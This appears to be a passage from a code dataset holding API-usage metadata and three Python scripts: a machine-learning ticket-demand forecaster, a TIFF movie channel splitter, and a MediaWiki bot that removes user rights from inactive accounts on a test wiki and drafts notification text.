"line_number": 59, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 59, "usage_type": "name"}, {"api_name": "spykshrk.realtime.datatypes.LFPPoint", "line_number": 61, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.datatypes", "line_number": 61, "usage_type": "name"}, {"api_name": "spykshrk.realtime.datatypes.Datatypes", "line_number": 64, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.datatypes", "line_number": 64, "usage_type": "name"}, {"api_name": "spykshrk.realtime.datatypes.SpikePoint.packed_message_size", "line_number": 65, "usage_type": "call"}, {"api_name": "spykshrk.realtime.datatypes.SpikePoint", "line_number": 65, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.datatypes", "line_number": 65, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.MPIMessageTag", "line_number": 66, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 66, "usage_type": "name"}, {"api_name": "spykshrk.realtime.datatypes.SpikePoint", "line_number": 68, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.datatypes", "line_number": 68, "usage_type": "name"}, {"api_name": "spykshrk.realtime.datatypes.Datatypes", "line_number": 70, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.datatypes", "line_number": 70, "usage_type": "name"}, {"api_name": "spykshrk.realtime.datatypes.LinearPosPoint.packed_message_size", "line_number": 71, "usage_type": "call"}, {"api_name": "spykshrk.realtime.datatypes.LinearPosPoint", "line_number": 71, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.datatypes", "line_number": 71, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.MPIMessageTag", "line_number": 72, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 72, "usage_type": "name"}, {"api_name": "spykshrk.realtime.datatypes.LinearPosPoint", "line_number": 74, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.datatypes", "line_number": 74, "usage_type": "name"}, {"api_name": "mpi4py.MPI.Status", "line_number": 81, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI", "line_number": 81, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.MPIMessageTag", "line_number": 86, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 86, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.MPIMessageTag", "line_number": 91, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 91, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.MPIMessageTag", "line_number": 96, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 96, "usage_type": "name"}, {"api_name": "mpi4py.MPI.Request.Testall", "line_number": 112, "usage_type": "call"}, {"api_name": "mpi4py.MPI.Request", "line_number": 112, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI", "line_number": 112, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.RealtimeMPIClass", "line_number": 127, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 127, "usage_type": "name"}, {"api_name": "mpi4py.MPI.Comm", "line_number": 129, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI", "line_number": 129, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.MPIMessageTag", "line_number": 136, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 136, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.TerminateErrorMessage", "line_number": 139, "usage_type": "call"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 139, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.MPIMessageTag", "line_number": 141, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 141, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.MPIMessageTag", "line_number": 146, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 146, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.TimeSyncInit", "line_number": 153, "usage_type": "call"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 153, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.MPIMessageTag", "line_number": 154, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 154, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.TimeSyncReport", "line_number": 157, "usage_type": "call"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 157, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.MPIMessageTag", "line_number": 159, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 159, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.TerminateMessage", "line_number": 166, "usage_type": "call"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 166, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.MPIMessageTag", "line_number": 167, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 167, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.BinaryRecordBaseWithTiming", "line_number": 170, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 170, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.RealtimeMPIClass", "line_number": 170, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.simulator.nspike_data.AnimalInfo", "line_number": 179, "usage_type": "call"}, {"api_name": "spykshrk.realtime.simulator.nspike_data", "line_number": 179, "usage_type": "name"}, {"api_name": "spykshrk.realtime.simulator.nspike_data.EEGDataStream", "line_number": 180, "usage_type": "call"}, {"api_name": "spykshrk.realtime.simulator.nspike_data", "line_number": 180, "usage_type": "name"}, {"api_name": "spykshrk.realtime.simulator.nspike_data.PosMatDataStream", "line_number": 181, "usage_type": "call"}, {"api_name": "spykshrk.realtime.simulator.nspike_data", "line_number": 181, "usage_type": "name"}, {"api_name": "spykshrk.realtime.simulator.nspike_data.SpkDataStream", "line_number": 182, "usage_type": "call"}, {"api_name": "spykshrk.realtime.simulator.nspike_data", "line_number": 182, "usage_type": "name"}, {"api_name": "spykshrk.realtime.simulator.sim_databuffer.SimDataBuffer", "line_number": 183, "usage_type": "call"}, {"api_name": "spykshrk.realtime.simulator.sim_databuffer", "line_number": 183, "usage_type": "name"}, {"api_name": "time.time", "line_number": 198, "usage_type": "call"}, {"api_name": "time.time", "line_number": 251, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 259, "usage_type": "call"}, {"api_name": "spykshrk.realtime.datatypes.LFPPoint", "line_number": 269, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.datatypes", "line_number": 269, "usage_type": "name"}, {"api_name": "spykshrk.realtime.datatypes.Datatypes", "line_number": 272, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.datatypes", "line_number": 272, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.MPIMessageTag", "line_number": 278, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 278, "usage_type": "name"}, {"api_name": "spykshrk.realtime.datatypes.SpikePoint", "line_number": 285, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.datatypes", "line_number": 285, "usage_type": "name"}, {"api_name": "spykshrk.realtime.datatypes.Datatypes", "line_number": 288, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.datatypes", "line_number": 288, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.MPIMessageTag", "line_number": 294, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 294, "usage_type": "name"}, {"api_name": "spykshrk.realtime.datatypes.LinearPosPoint", "line_number": 301, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.datatypes", "line_number": 301, "usage_type": "name"}, {"api_name": "spykshrk.realtime.datatypes.Datatypes", "line_number": 303, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.datatypes", "line_number": 303, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.MPIMessageTag", "line_number": 308, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 308, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.RealtimeProcess", "line_number": 316, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 316, "usage_type": "name"}, {"api_name": "mpi4py.MPI.Comm", "line_number": 317, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI", "line_number": 317, "usage_type": "name"}, {"api_name": "spykshrk.realtime.binary_record.RemoteBinaryRecordsManager", "line_number": 321, "usage_type": "call"}, {"api_name": "spykshrk.realtime.binary_record", "line_number": 321, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.RealtimeMPIClass", "line_number": 349, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 349, "usage_type": "name"}, {"api_name": "mpi4py.MPI.Comm", "line_number": 351, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI", "line_number": 351, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.MPIMessageTag", "line_number": 355, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 355, "usage_type": "name"}, {"api_name": "mpi4py.MPI.Status", "line_number": 356, "usage_type": "call"}, {"api_name": "mpi4py.MPI", "line_number": 356, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.MPIMessageTag", "line_number": 363, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 363, "usage_type": "name"}, {"api_name": "spykshrk.realtime.datatypes.Datatypes", "line_number": 368, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.datatypes", "line_number": 368, "usage_type": "name"}, {"api_name": "spykshrk.realtime.datatypes.Datatypes", "line_number": 371, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.datatypes", "line_number": 371, "usage_type": "name"}, {"api_name": "spykshrk.realtime.datatypes.Datatypes", "line_number": 374, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.datatypes", "line_number": 374, "usage_type": "name"}, {"api_name": "spykshrk.realtime.binary_record.BinaryRecordCreateMessage", "line_number": 383, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.binary_record", "line_number": 383, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.StartRecordMessage", "line_number": 386, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 386, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.StopRecordMessage", "line_number": 389, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 389, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.CloseRecordMessage", "line_number": 392, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 392, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.TimeSyncInit", "line_number": 395, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 395, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.TimeSyncSetOffset", "line_number": 399, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 399, "usage_type": "name"}, {"api_name": "spykshrk.realtime.realtime_base.TerminateMessage", "line_number": 402, "usage_type": "attribute"}, {"api_name": "spykshrk.realtime.realtime_base", "line_number": 402, "usage_type": "name"}]} {"seq_id": "7825709454", "text": "import pandas as pd\r\nfrom sklearn import cross_validation, metrics\r\nfrom sklearn.cross_validation import cross_val_score\r\nfrom sklearn.ensemble import RandomForestClassifier, GradientBoostingRegressor, GradientBoostingClassifier, \\\r\n RandomForestRegressor\r\nimport numpy as np\r\nfrom sklearn.datasets import load_iris\r\nfrom sklearn.ensemble import AdaBoostClassifier\r\nfrom sklearn.metrics import roc_auc_score\r\nfrom sklearn.multioutput import MultiOutputRegressor\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nimport gc\r\nimport matplotlib\r\nimport matplotlib.pyplot as plt\r\n\r\ndef split_train_test(data, test_ratio):\r\n np.random.seed(42)\r\n shuffled_indices = np.random.permutation(len(data))\r\n test_set_size = int(len(data) * test_ratio)\r\n test_indices = shuffled_indices[:test_set_size]\r\n train_indices = shuffled_indices[test_set_size:]\r\n return data.iloc[train_indices], data.iloc[test_indices]\r\ndef display_scores(scores):\r\n print(\"Scores:\", scores)\r\n print(\"Mean:\", scores.mean())\r\n print(\"Standard deviation:\", scores.std())\r\n\r\npd.set_option('display.max_columns', None)\r\npd.set_option('display.max_rows', 10)\r\npd.set_option('display.max_columns', 200)\r\n\r\ndfSum = pd.read_csv(\"F:\\MSA\\machine learning\\project\\Amusement Park\\kk\\\\wzAfterCleaning.csv\")\r\n# dfSum = pd.read_csv(\"F:\\MSA\\machine learning\\project\\Amusement Park\\kk\\wzTestcleaned.csv\")\r\n\r\n# dfSum=dfSum.drop(['Unnamed: 0',\"Weekday\",\"StandardTemperature_t_1\",\"Wind_t_1\",\"StandardTemperature_t_2\"], axis=1)\r\n\r\ntrain_set, test_set = split_train_test(dfSum, 0.2)\r\n# train_set=dfSum\r\n# test_set= pd.read_csv(\"F:\\MSA\\machine learning\\project\\Amusement Park\\kk\\\\df4_test.csv\")\r\n\r\ny=dfSum[['Ticket1', 'Ticket2']].as_matrix()\r\nX = dfSum.drop(['Ticket1', 'Ticket2'], axis=1)\r\nx = dfSum.drop(['Ticket1', 'Ticket2'], axis=1).as_matrix()\r\ny_train = train_set[['Ticket1', 'Ticket2']].as_matrix()\r\ny_train_1 = train_set[['Ticket1']].as_matrix()\r\ny_train_2 = train_set[['Ticket2']].as_matrix()\r\nx_train = train_set.drop(['Ticket1', 'Ticket2'], axis=1).as_matrix()\r\ny_test = test_set[['Ticket1', 'Ticket2']].as_matrix()\r\ny_test_1 = test_set[['Ticket1']].as_matrix()\r\ny_test_2 = test_set[[ 'Ticket2']].as_matrix()\r\nx_test = test_set.drop(['Ticket1', 'Ticket2'], axis=1).as_matrix()\r\n\r\nada_clf = AdaBoostClassifier(DecisionTreeClassifier(max_depth=1), n_estimators=200,algorithm=\"SAMME.R\", learning_rate=0.5)\r\nmulti=MultiOutputRegressor(ada_clf)\r\nmulti.fit(x_train, y_train)\r\nscores = cross_val_score(multi, x, y,scoring=\"neg_mean_squared_error\", cv=10)\r\nforest_rmse_scores = np.sqrt(-scores)\r\ndisplay_scores(forest_rmse_scores)\r\n# #('Mean:', 93.48802888231795)\r\n# # ('Standard deviation:', 32.978215854285665)\r\n#\r\n# gc.enable()\r\n# gc.collect()\r\nada_clf = AdaBoostClassifier(RandomForestClassifier(n_estimators=10, max_leaf_nodes=16, n_jobs=-1), n_estimators=200,algorithm=\"SAMME.R\", learning_rate=0.5)\r\nmulti=MultiOutputRegressor(ada_clf)\r\nmulti.fit(x_train, y_train)\r\nscores = cross_val_score(multi, x, y,scoring=\"neg_mean_squared_error\")\r\nforest_rmse_scores = np.sqrt(-scores)\r\ndisplay_scores(forest_rmse_scores)\r\n#\r\ngbrt = GradientBoostingRegressor(max_depth=2, n_estimators=120)\r\nmulti=MultiOutputRegressor(gbrt)\r\nmulti.fit(x_train, y_train)\r\nscores = cross_val_score(multi, x, y,scoring=\"neg_mean_squared_error\")\r\nforest_rmse_scores = np.sqrt(-scores)\r\ndisplay_scores(forest_rmse_scores)\r\n#\r\n# ###randomforest\r\nfrom sklearn.model_selection import RandomizedSearchCV\r\n# # Number of trees in random forest\r\nn_estimators = [int(x) for x in np.linspace(start = 100, stop = 300, num = 10)]\r\n# Number of features to consider at every split\r\nmax_features = ['auto', 'sqrt']\r\n# Maximum number of levels in tree\r\nmax_depth = [int(x) for x in np.linspace(10, 110, num = 11)]\r\nmax_depth.append(None)\r\n# Minimum number of samples required to split a node\r\nmin_samples_split = [2, 5, 10]\r\n# Minimum number of samples required at each leaf node\r\nmin_samples_leaf = [1, 2, 4]\r\n# Method of selecting samples for training each tree\r\nbootstrap = [True, False]\r\n# Create the random grid\r\nrandom_grid = {'n_estimators': n_estimators,\r\n 'max_features': max_features,\r\n 'max_depth': max_depth,\r\n 'min_samples_split': min_samples_split,\r\n 'min_samples_leaf': min_samples_leaf,\r\n 'bootstrap': bootstrap}\r\nprint(random_grid)\r\n\r\n# Use the random grid to search for best hyperparameters\r\n# First create the base model to tune\r\nrf = RandomForestRegressor()\r\n# Random search of parameters, using 3 fold cross validation,\r\n# search across 100 different combinations, and use all available cores\r\nrf_random = RandomizedSearchCV(estimator = rf, param_distributions = random_grid, n_iter = 100, cv = 3, verbose=2, random_state=42, n_jobs = -1)\r\n# Fit the random search model\r\nrf_random.fit(x_train, y_train)\r\nrf_random.best_estimator_\r\n\r\ndef evaluate(model, test_features, test_labels):\r\n predictions = model.predict(test_features)\r\n errors = abs(predictions - test_labels)\r\n mape = 100 * np.mean(errors / test_labels)\r\n accuracy = 100 - mape\r\n print('Model Performance')\r\n print('Average Error: {:0.4f} degrees.'.format(np.mean(errors)))\r\n print('Accuracy = {:0.2f}%.'.format(accuracy))\r\n\r\n return accuracy\r\n\r\nbase_model = RandomForestRegressor(n_estimators=10, random_state=42)\r\nbase_model.fit(x_train, y_train)\r\nbase_accuracy = evaluate(base_model, x_test, y_test)\r\nbase_model.feature_importances_\r\n# Model Performance\r\n# Average Error: 14.3629 degrees.\r\n# # Accuracy = 54.27%.\r\nbest_random = rf_random.best_estimator_\r\nrandom_accuracy = evaluate(best_random, x_test, y_test)\r\n\r\n# # Model Performance\r\n# # Average Error: 13.2888 degrees.\r\n# # Accuracy = 56.42%.\r\n#\r\n# #grid search with cross validation\r\n# from sklearn.model_selection import GridSearchCV\r\n# # Create the parameter grid based on the results of random search\r\n# param_grid = {\r\n# 'bootstrap': [True],\r\n# 'max_depth': [80, 90, 100, 110],\r\n# 'max_features': [2, 3],\r\n# 'min_samples_leaf': [3, 4, 5],\r\n# 'min_samples_split': [8, 10, 12],\r\n# 'n_estimators': [100, 200]\r\n# }\r\n# # Create a based model\r\n# rf = RandomForestRegressor()\r\n# # Instantiate the grid search model\r\n# grid_search = GridSearchCV(estimator = rf, param_grid = param_grid,\r\n# cv = 3, n_jobs = -1, verbose = 2)\r\n# grid_search.fit(x_train, y_train)\r\n# grid_search.best_params_\r\n# # {'bootstrap': True,\r\n# # 'max_depth': 90,\r\n# # 'max_features': 3,\r\n# # 'min_samples_leaf': 3,\r\n# # 'min_samples_split': 8,\r\n# # 'n_estimators': 100}\r\n# best_grid = grid_search.best_estimator_\r\n# grid_accuracy = evaluate(best_grid, x_test, y_test)\r\n# # Average Error: 25.0963 degrees.\r\n# # Accuracy = 4.98%.\r\n\r\n# RandomForestRegressor(bootstrap=True, criterion='mse', max_depth=80,\r\n# max_features='auto', max_leaf_nodes=None,\r\n# min_impurity_decrease=0.0, min_impurity_split=None,\r\n# min_samples_leaf=2, min_samples_split=2,\r\n# min_weight_fraction_leaf=0.0, n_estimators=277, n_jobs=1,\r\n# oob_score=False, random_state=None, verbose=0, warm_start=False)\r\n# best_model=RandomForestRegressor(bootstrap=True, criterion='mse', max_depth=80,\r\n# max_features='auto', max_leaf_nodes=None,\r\n# min_impurity_decrease=0.0, min_impurity_split=None,\r\n# min_samples_leaf=2, min_samples_split=2,\r\n# min_weight_fraction_leaf=0.0, n_estimators=277, n_jobs=1,\r\n# oob_score=False, random_state=None, verbose=0, warm_start=False)\r\n# best_model.fit(x_train, y_train)\r\n# best_accuracy = evaluate(best_model, x_test, y_test)\r\n# best_model.feature_importances_\r\n\r\nbest_model=RandomForestRegressor(bootstrap=True, criterion='mse', max_depth=90,\r\n max_features='auto', max_leaf_nodes=None,\r\n min_impurity_decrease=0.0, min_impurity_split=None,\r\n min_samples_leaf=1, min_samples_split=5,\r\n min_weight_fraction_leaf=0.0, n_estimators=255, n_jobs=1,\r\n oob_score=False, random_state=None, verbose=0, warm_start=False)\r\n\r\nbest_model.fit(x_train, y_train)\r\ntest_data=test_set.drop([\"TimeStamp\",\"TimeStamp_t_1\",\"TimeStamp_t_2\"],axis=1)\r\ntest_data=test_data.fillna(test_data.mean())\r\ndfResult= pd.DataFrame(best_model.predict(test_data),columns=[\"1\",\"2\"])\r\ntest_data[\"1\"]=dfResult[\"1\"]\r\ntest_data[\"2\"]=dfResult[\"2\"]\r\ntest_data.to_csv('result_1.csv',index=False)\r\n\r\n", "repo_name": "knighk/Data_Analysis", "sub_path": "k6_wz.py", "file_name": "k6_wz.py", "file_ext": "py", "file_size_in_byte": 8401, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.random.seed", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.random.permutation", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pandas.set_option", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 30, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 32, "usage_type": "call"}, {"api_name": "sklearn.ensemble.AdaBoostClassifier", "line_number": 53, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 53, "usage_type": "call"}, {"api_name": "sklearn.multioutput.MultiOutputRegressor", "line_number": 54, "usage_type": "call"}, {"api_name": "sklearn.cross_validation.cross_val_score", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 57, "usage_type": "call"}, {"api_name": "sklearn.ensemble.AdaBoostClassifier", "line_number": 64, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 64, "usage_type": "call"}, {"api_name": "sklearn.multioutput.MultiOutputRegressor", "line_number": 65, "usage_type": "call"}, {"api_name": "sklearn.cross_validation.cross_val_score", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 68, "usage_type": "call"}, {"api_name": "sklearn.ensemble.GradientBoostingRegressor", "line_number": 71, "usage_type": "call"}, {"api_name": "sklearn.multioutput.MultiOutputRegressor", "line_number": 72, "usage_type": "call"}, {"api_name": "sklearn.cross_validation.cross_val_score", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 85, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 104, "usage_type": "call"}, {"api_name": "sklearn.model_selection.RandomizedSearchCV", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 118, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 123, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 182, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 192, "usage_type": "call"}]} {"seq_id": "12929121149", "text": "\nimport skimage.io\nimport skimage.viewer as skview\n\nfilename='movie.tif'\ndata = skimage.io.imread(filename)\nfor k in range(64):\n frame= data[k,:,:,:]\n print('dimension frame',frame.shape)\n # tranpose 5,2,512,512 5 to 5,512,512,2\n transpose_frame = np.transpose(frame, (0, 2,3,1))\n print('dimension tranpose',transpose_frame.shape)\n\n for i in range(5):\n datastack = transpose_frame[i, :, :, :]\n print(datastack.shape) #(512, 512, 2)\n #skimage.io.imsave('movie_stack%d.png' % i, datastack)\n for t in range(2):\n channel_split = datastack[:, :, t]\n zeros = np.zeros((512, 512), dtype=np.int8)\n if t == 0: # red channel\n channel_split = np.stack((channel_split, zeros, zeros), axis=2)\n print(channel_split.shape)\n skimage.io.imsave(\"movie_frame%d_stack%d,channel%d.png\" % (k,i, t), channel_split)\n else: # blue channel\n channel_split = np.stack((zeros, zeros,channel_split), axis=2)\n print(channel_split.shape)\n skimage.io.imsave(\"movie_frame%d_stack%d,channel%d.png\" % (k,i, t), channel_split)\n", "repo_name": "Foetus-Pieces-Thesis/ImgProc", "sub_path": "loadmovie.py", "file_name": "loadmovie.py", "file_ext": "py", "file_size_in_byte": 1172, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "skimage.io.io.imread", "line_number": 6, "usage_type": "call"}, {"api_name": "skimage.io.io", "line_number": 6, "usage_type": "attribute"}, {"api_name": "skimage.io", "line_number": 6, "usage_type": "name"}, {"api_name": "skimage.io.io.imsave", "line_number": 24, "usage_type": "call"}, {"api_name": "skimage.io.io", "line_number": 24, "usage_type": "attribute"}, {"api_name": "skimage.io", "line_number": 24, "usage_type": "name"}, {"api_name": "skimage.io.io.imsave", "line_number": 28, "usage_type": "call"}, {"api_name": "skimage.io.io", "line_number": 28, "usage_type": "attribute"}, {"api_name": "skimage.io", "line_number": 28, "usage_type": "name"}]} {"seq_id": "33910276487", "text": "from time import sleep\nfrom requests import Session\nfrom stdiomask import getpass\nfrom sys import argv, exit\nfrom random import getrandbits\n\n# Define the functions here\n\n\ndef remove():\n sleep(2)\n input(\"Press enter to continue or ctrl+c to quit\")\n file = open('userinfo.cfg', 'r')\n userdata = file.read()\n file.close()\n try:\n if userdata == '-':\n opusername = input(\"Operator Username: \")\n fromheader = input(\"Bot Email: \")\n else:\n userdata.split(',')\n opusername = userdata[1]\n fromheader = userdata[2]\n username = userdata[3]\n log = input(\"Logged in to: \" + str(userdata) + \" - Confirm? Y/N: \")\n if log == \"N\":\n opusername = input(\"Operator Username: \")\n fromheader = input(\"Bot Email: \")\n username = input(\"Bot Username: \")\n except IndexError:\n opusername = input(\"Operator Username: \")\n fromheader = input(\"Bot Email: \")\n username = input(\"Bot Username: \")\n headers = {\n 'User-Agent': 'BOT: ' + opusername + '@TestWikiAutoInactive-v1',\n 'From': fromheader\n }\n S = Session()\n URL = \"https://publictestwiki.com/w/api.php\"\n # Step 1: Retrieve a login token\n PARAMS_1 = {\n \"action\": \"query\",\n \"meta\": \"tokens\",\n \"type\": \"login\",\n \"format\": \"json\"\n }\n R = S.get(url=URL, params=PARAMS_1, headers=headers)\n DATA = R.json()\n LOGIN_TOKEN = DATA[\"query\"][\"tokens\"][\"logintoken\"]\n # Step 2: Send a post request to log in. See\n # https://www.mediawiki.org/wiki/Manual:Bot_passwords\n sleep(5) # wait 5s to avoid throttling\n password = getpass()\n PARAMS_2 = {\n \"action\": \"login\",\n \"lgname\": username,\n \"lgpassword\": password,\n \"lgtoken\": LOGIN_TOKEN,\n \"format\": \"json\"\n }\n # destroy the password + replace with random hash\n password = getrandbits(125)\n R = S.post(URL, data=PARAMS_2, headers=headers)\n PARAMS_AUTH = {\n \"action\": \"query\",\n \"format\": \"json\",\n \"meta\": \"userinfo\",\n \"uiprop\": \"email\"\n }\n authres = S.post(URL, data=PARAMS_AUTH, headers=headers)\n EMAIL = authres.json()\n EMAIL = EMAIL[\"query\"][\"userinfo\"][\"email\"]\n if fromheader == EMAIL:\n print(\"Email Authenticated!\")\n else:\n fromheader = EMAIL\n print(\"Your email was replaced with \" + fromheader)\n headers = {\n 'User-Agent': 'BOT: ' + opusername + '@TestWikiAutoInactive-v1',\n 'From': fromheader # rewrite header to user email\n }\n configfile = open('userinfo.cfg', 'w+')\n configfile.write(\n ',' +\n opusername +\n ',' +\n fromheader +\n ',' +\n username +\n ',')\n configfile.close()\n sleep(5) # hold for 5s to avoid throttling\n # Step 3: Obtain a Userrights token\n PARAMS_3 = {\n \"action\": \"query\",\n \"format\": \"json\",\n \"meta\": \"tokens\",\n \"type\": \"userrights\"\n }\n R = S.get(url=URL, params=PARAMS_3, headers=headers)\n DATA = R.json()\n\n USERRIGHTS_TOKEN = DATA[\"query\"][\"tokens\"][\"userrightstoken\"]\n users = input(\"How many users are being removed? \")\n userlist = []\n count = 0\n while count < int(users):\n usertemp = input(\"User to remove: \")\n userlist.append(usertemp)\n count = count + 1\n sleep(0.5)\n count = 0\n while count < len(userlist):\n inactiveuser = userlist[count]\n sleep(10) # wait 10 seconds before write api\n # Step 4: Request to add or remove a user from a group\n PARAMS_4 = {\n \"action\": \"userrights\",\n \"format\": \"json\",\n \"user\": inactiveuser,\n \"remove\": \"bot|sysop|bureaucrat|consul|testgroup|autopatrolled|confirmed|rollbacker|interface-admin|flow-bot|checkuser|interwiki-admin|oversight|steward\",\n \"reason\": \"per [[TestWiki:Inactivity|Inactivity report]]\",\n \"token\": USERRIGHTS_TOKEN\n }\n count = count + 1\n R = S.post(URL, data=PARAMS_4, headers=headers)\n DATA = R.json()\n print(DATA)\n sleep(2)\n print('Generating mass message text..')\n print('{{subst:Inactivity|user=' + opusername + '}}')\n sleep(5)\n print(\"Thanks for using! Good bye.\")\n exit()\n\n\ndef notify():\n sleep(10)\n consul = input(\"What is your username? \")\n removedate = input(\"Removal date: \")\n date = input(\"Today's Date: \")\n users = input(\"How many users are being removed? \")\n userlist = []\n count = 0\n while count < int(users):\n usertemp = input(\"User to remove: \")\n userlist.append(usertemp)\n count = count + 1\n sleep(0.5)\n print(\"Generating mass message list....\")\n sleep(2)\n count = 0\n while count < len(userlist):\n print(\"User Talk:\" + str(userlist[count]))\n count = count + 1\n sleep(0.5)\n print(\"Generating mass message text....\")\n sleep(2)\n print(\"{{subst:InactiveReminder|DATE=\" + removedate +\n \"|sig=~~~ on behalf of [[User:\" + consul + \"|\" + consul + \"]]}}\")\n print(\"Generating Community Noticeboard 